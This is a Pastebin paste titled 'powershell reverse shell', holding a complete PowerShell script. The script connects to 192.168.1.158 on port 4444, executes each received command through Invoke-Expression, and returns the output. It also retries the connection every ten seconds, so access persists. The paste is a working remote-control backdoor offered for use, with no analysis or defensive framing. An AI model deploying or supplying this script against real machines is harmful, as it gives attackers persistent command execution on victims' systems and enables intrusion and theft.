Advertisement
Guest User

powershell reverse shell

a guest
Oct 20th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. while ($true)
  2. {
  3. try
  4. {
  5. $client = New-Object System.Net.Sockets.TCPClient("192.168.1.158",4444);
  6. $stream = $client.GetStream();
  7. [byte[]]$bytes = 0..255|%{0};
  8. $sendbytes = ([text.encoding]::ASCII).GetBytes("Client Connected..."+"`n`n" + "PS " + (pwd).Path + "> ");
  9. $stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush();
  10. while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
  11. {
  12. $recdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  13. if($recdata.StartsWith("kill-link")){ cls; $client.Close(); exit;}
  14. try
  15. {
  16. $sendback = (iex $recdata 2>&1 | Out-String );
  17. $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  18. }
  19. catch
  20. {
  21. $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
  22. $sendback2 = "ERROR: " + $error[0].ToString() + "`n`n" + "PS " + (pwd).Path + "> ";
  23. cls;
  24. }
  25. $returnbytes = ([text.encoding]::ASCII).GetBytes($sendback2);
  26. $stream.Write($returnbytes,0,$returnbytes.Length);$stream.Flush();
  27. }
  28. }
  29. catch
  30. {
  31. if($client.Connected)
  32. {
  33. $client.Close();
  34. }
  35. cls;
  36. Start-Sleep -s 10;
  37. }
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement